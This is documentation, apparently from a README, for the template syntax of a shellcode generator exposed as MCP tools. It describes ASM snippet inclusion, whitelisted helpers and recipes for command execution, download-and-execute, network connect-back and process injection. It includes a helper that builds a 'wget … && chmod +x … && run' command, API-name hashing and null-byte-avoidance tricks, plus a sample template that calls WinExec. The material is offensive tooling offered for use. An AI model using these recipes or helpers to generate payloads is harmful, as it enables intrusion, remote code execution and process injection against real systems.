Template Syntax
Template Syntax
TemplateManager (app/managers/templateManager.py) implements a small template language used by both recipes and custom code passed to generate_from_template / compile_shellcode.
1. Snippet inclusion — [[SNIPPET_NAME]]
Include a reusable ASM block by name (case-insensitive, matched against .asm files in templates/snippets/{os}_{arch}/):
[[SETUP_HASH_RESOLVER]]
Pass parameters as inline JSON after a comma:
[[RESOLVE_API_HASH, {"base": "rbp", "name": "WinExec", "rr": "r14"}]]
Snippets can include other snippets. Resolution is recursive with a hard limit of 10 levels (TemplateManager.MAX_RESOLVE_DEPTH); exceeding it raises RecursionError.
2. Helper functions — #function()#
Call a whitelisted Python function from app/utils/helpers.py to generate ASM dynamically:
#push_string(_params.cmd)#
#push_command(_params.cmd, _params.visible)#
#api_hash("WinExec")#
Only names listed in TemplateManager.ALLOWED_HELPERS may be called; any other name raises ValueError: Helper function '<name>' is not allowed. The call is evaluated with Python's eval() against a restricted _params object, so referenced helpers must be whitelisted — this is not a general-purpose sandbox.
Available helpers
| Helper | Description |
|---|---|
push_string(cmd, invert=True, reg='rax') | Push a string on the stack, 8 bytes at a time, LittleEndian-reversed; optionally NOT-inverted. |
push_command(cmd, visible=True, reg='rax') | push_string() plus an RDX visibility flag (SW_HIDE / SW_SHOWNORMAL) for WinExec-style calls. |
push_download_exec(url, tmp, reg='rax') | Builds and pushes a wget <url> -O <tmp> && chmod +x <tmp> && <tmp> command string (Linux dlexec). |
push_sockaddr_in(ip, port, reg='rax') | Pushes a sockaddr_in structure using a NOT-trick to avoid null bytes. |
api_hash(name) | Computes the ROR13 hash of a Windows API name, e.g. api_hash('WinExec'). |
gnu_hash(name) | Computes the djb2 hash of an ELF symbol name, e.g. gnu_hash('system'). |
format_shellcode(shellcode_hex) | Converts a hex string into db 0xNN, ... NASM directives, 16 bytes per line. |
shellcode_len(shellcode_hex) | Returns the byte count of a hex-encoded shellcode string. |
set_counter(value) | Zeroes RCX and adds a counter (string length, or integer value). |
3. Parameter access — #_params.key#
Direct substitution of a value from the params dict passed to load() / render():
mov #_params.rr#, rax ; Store result in user-specified register
mov ecx, #_params.pid# ; Target process ID
Only a single attribute level is supported (_params.key, not _params.key.sub). If key is absent from the params dict, the placeholder is left unresolved (__replace_param returns the snippet unchanged for that occurrence).
Recipe parameters
| Recipe | win_64 | posix_64 |
|---|---|---|
exec | cmd (str), visible (bool) | cmd (str), visible (bool — ignored on Linux) |
dlexec | url (str), tmp (str), visible (bool) | url (str), tmp (str) |
connect | ip (str), port (int) | ip (str), port (int) |
inject | pid (int), shellcode (str, hex-encoded) | pid (int), shellcode (str, hex-encoded) |
Custom templates
TemplateManager.render(template_code, params) applies the same pipeline (parameter/helper evaluation, then recursive snippet resolution) to arbitrary ASM source instead of a named recipe file — this is what powers the generate_from_template and compile_shellcode MCP tools.
; Custom template using existing snippets
[[SETUP_HASH_RESOLVER]]
[[RESOLVE_API_HASH, {"base": "rbp", "name": "WinExec", "rr": "r14"}]]
#push_command(_params.cmd, _params.visible)#
mov rcx, rsp
call r14